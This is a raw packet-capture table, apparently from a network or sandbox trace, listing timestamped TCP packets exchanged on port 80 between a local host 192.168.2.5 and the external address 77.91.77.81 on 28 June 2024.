Jun 28, 2024 13:36:25.577821970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577830076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577847004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577903032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577991009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578006029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578022957 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578100920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578115940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578130007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578144073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578147888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578157902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578161001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578161001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578177929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578192949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578201056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578201056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578259945 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578280926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578295946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578310013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578314066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578326941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578341961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578342915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578357935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578378916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578378916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578449965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578464985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578479052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578480959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578480959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578494072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578510046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.578516006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578516006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.578546047 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.581816912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.586340904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586355925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586380005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586394072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586409092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586417913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.586438894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.586508036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586523056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586536884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586543083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.586551905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586565971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586596012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.586596012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.586601019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586616039 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586630106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586643934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.586644888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.586666107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.586666107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587220907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587260962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587269068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587275028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587297916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587301016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587301016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587312937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587327957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587336063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587387085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587403059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587418079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587431908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587440014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587440014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587471008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587471008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587486982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587501049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587516069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587529898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587543011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587557077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587568998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587584019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587603092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587603092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587605000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587619066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587632895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587651968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587667942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587716103 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587716103 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587738991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587754011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587768078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587783098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587800026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587805986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587821007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587835073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587840080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587840080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587852001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587867975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.587892056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.587892056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.591125011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.611959934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612003088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612041950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612056971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612071991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612086058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612101078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612112999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.612122059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612135887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612149954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612154007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.612164021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612168074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.612267017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.612307072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612323046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612337112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612350941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.612433910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612448931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.612510920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.612510920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.612510920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.663599014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.663615942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.663633108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.663656950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.663671017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.663685083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.663693905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.663693905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.663700104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.663727999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.663742065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.663742065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.663954973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664016962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664038897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664057970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664071083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664072037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664088011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664102077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664113045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664115906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664124012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664124012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664155960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664155960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664180040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664195061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664207935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664220095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664230108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664230108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664235115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664256096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664256096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664271116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664284945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664299011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664307117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664307117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664313078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664328098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664335966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664335966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664365053 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664365053 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664422989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664438963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664452076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664467096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664488077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664499044 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664500952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664509058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664509058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664515972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664530993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664539099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664539099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664563894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664563894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664571047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664586067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664608002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664621115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664621115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664624929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664648056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664659023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664659023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664661884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664676905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664685011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664727926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664741993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664755106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664767981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664782047 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664793968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664794922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664814949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664829969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664844036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664844990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664859056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664879084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664879084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664895058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664908886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664922953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664925098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664937019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.664961100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664961100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.664961100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.665040016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.665045023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.665055037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.665069103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.665083885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.665091991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.665091991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.665097952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.665112019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.665119886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.665119886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.665150881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.665150881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673530102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673543930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673559904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673573971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673593998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673593998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673593998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673619032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673634052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673671961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673702002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673702002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673738956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673758030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673773050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673784971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673787117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673801899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673829079 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673844099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.673980951 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.673995972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674011946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674026012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674046993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674046993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674124002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674138069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674160004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674181938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674196005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674202919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674202919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674211025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674233913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674251080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674257994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674257994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674267054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674319029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674326897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674340963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674355030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674367905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674371004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674386978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674422979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674422979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674422979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674474001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674488068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674501896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674516916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674523115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674523115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674531937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674546003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674546957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674556017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674561977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674576044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674582958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674582958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674591064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674606085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674617052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674628019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674642086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674649954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674649954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674654961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674669027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674678087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674678087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674699068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674710989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.674737930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.674880981 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.698508978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.698611021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.698615074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.698724031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.698793888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.698810101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.698824883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.698856115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.698896885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.698910952 CEST	80	49721	77.91.77.81	192.168.2.5
